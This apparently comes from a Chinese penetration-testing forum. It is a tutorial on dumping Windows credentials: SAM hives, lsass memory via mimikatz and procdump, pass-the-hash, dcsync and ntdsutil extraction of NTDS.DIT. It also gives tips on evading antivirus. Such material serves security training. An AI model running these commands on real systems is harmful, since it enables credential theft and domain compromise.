在内网渗透中,当攻击者攻陷内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等方法,访问其他机器,进一步扩大攻击范围。很多横向移动的方法都需要攻击者先获取域用户的密码或者Hash值才能进行,比如哈希传递攻击、各种票据传递等。本文对密码抓取的原理和常见的密码抓取方式进行总结,文章不足之处还请各位大佬指正。
1、本地用户凭据
在 Windows 系统里有⼀个 SAM 文件,里面存着所有本地用户的密码 hash,其全称叫做 "Security AccountManager"。SAM ⽂件默认存放于C:\Windows\System32\config⽬录下的 SAM ⽂件中
1.1 使用reg命令获取本地用户凭据hash:
需要管理员权限
- reg save HKLM\SYSTEM Sys.hiv
- reg save HKLM\SAM Sam.hiv
复制代码
然后将这两个文件回传到本地使用mimikatz 抓取密码hash
mimikatz下载地址:https://github.com/gentilkiwi/mimikatz
[AppleScript] 纯文本查看 复制代码 mimikatz "lsadump::sam /sam:Sam.hiv /system:Sys.hiv" exit
也可以直接使用mimikatz读取本地SAM文件,获得密码Hash
[AppleScript] 纯文本查看 复制代码 privilege::debug
token::elevate
lsadump::sam
1.2 直接使用mimikatz从lsass.exe中获取密码:
lsass进程里面存放了我们登陆的账号密码等信息,lsass进程就会记录登陆凭证,我们可以通过 lsass获取到机器的明⽂密码等hash信息。
把 mimikatz 上传到目标机器后(有杀软时要考虑对mimikatz进行免杀),执行如下命令抓取内存中的明⽂密码和hash:
[AppleScript] 纯文本查看 复制代码 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"
1.3 通过Procdump获取lsass抓内存中的明文密码:
Procdump 是微软官方发布的⼯具,使⽤该⼯具可以把 lsass 的内存 dump下来,可以绕过⼤多数的防护软件。
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/
[AppleScript] 纯文本查看 复制代码 procdump64.exe -accepteula -ma lsass.exe lsass.dmp
[AppleScript] 纯文本查看 复制代码 mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
但是在安装了KB2871997补丁或者系统版本大于win10或windows server 2012时,默认在内存缓存中禁止保存明文密码,这样利用mimikatz就不能从内存中读出明文密码了。
kb2871997补丁会删除除了wdigest以外其他ssp的明文凭据,但对于wdigest只能选择禁用。
KB2871997更改点:
1、 支持“ProtectedUsers”组;
2、 Restricted Admin RDP模式的远程桌面客户端支持;
3、 注销后删除LSASS中的凭据;
4、 添加两个新的SID;
5、 LSASS中只允许wdigest存储明文密码。
LSASS会存储用户的明文密码,这个更新只允许WDigest在LSASS中存储明文密码。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential
如果UseLogonCredential值设置为0,则WDigest不会将凭据存储在内存中
如果UseLogonCredential值设置为1,WDigest将在内存中存储凭据
tips:NTML Hash 解密 与 PTH(哈希传递)
通过拿到密码 hash 我们就可以去 CMD5 或使用一些解密工具进行解密,如果解密失败但为域内管理员权限的NTML Hash也可以考虑使用PTH(hash传递)来进行攻击
NTML Hash解密工具:
ophcrack(https://ophcrack.sourceforge.io/)
Hashcat(https://hashcat.net/hashcat/)等
使用mimikatz进行hash传递:
使⽤哈希传递的时候需要⽤管理员权限运行 mimikatz ,我们已经获取了域管理员组内⽤户的NTLM哈希值。我们可以使⽤域内的⼀台主机⽤mimikatz对域内任何⼀台机器(包括域控)进⾏哈希传递攻击。
[AppleScript] 纯文本查看 复制代码 mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:. /ntlm:518b98ad4178a53695dc997aa02d455c"
2、域Hash
在域内Hash是存在NTDS.DIT中的, NTDS.DIT是一个二进制文件,就等同于本地计算机的SAM文件,它的存放位置是%SystemRoot%\ntds\NTDS.DIT 。这里面包含的不只是Username和HASH,还有OU、Group等信息。
当拿到域控权限时,可以从域控中的C:\Windows\NTDS\NTDS.dit导出所有用户hash。因为NTDS.DIT被占用,所以即使拥有管理员权限,也⽆法读取域控制器中的 C:\Windows\NTDS\NTDS.DIT ⽂件。
我们可以使⽤ Windows 本地卷影拷⻉服务,就可以获得⽂件的副本因此需要利用如卷影备份等手段copy出NTDS.DIT
2.1 利用Mimikatz导出NTDS.DIT
Mimikatz有一个功能为 dcsync ,即利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值。它可以从域管理员环境中属于域的任意系统执行。
lsadump::dcsync /domain:pentestlab.local /all /csv
lsadump::dcsync /domain:pentestlab.local /user:test #指定test用户
2.2 通过 ntdsutil.exe 提取NTDS.DIT文件
ntdsutil 是⼀个为活动目录提供管理机制的命令行工具,其主要用途是使管理员能够轻松访问和管理Windows Active Directory数据库。
工具默认安装在域控制器上,可以在域控制器上直接操作,也可以通过域内主机在域控制器上远程操作。
使用方法:在域控制器的命令行环境下输⼊如下命令,创建⼀个快照,该快照包含 Windows 中的所有文件,且在复制⽂件时不会受到 Windows 锁定机制的限制。
[AppleScript] 纯文本查看 复制代码 ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit
它将生成两个新文件夹:Active Directory和Registry。NTDS.DIT文件将被保存到Active Directory中,而SAM和SYSTEM文件则将被保存到Registry文件夹中。
|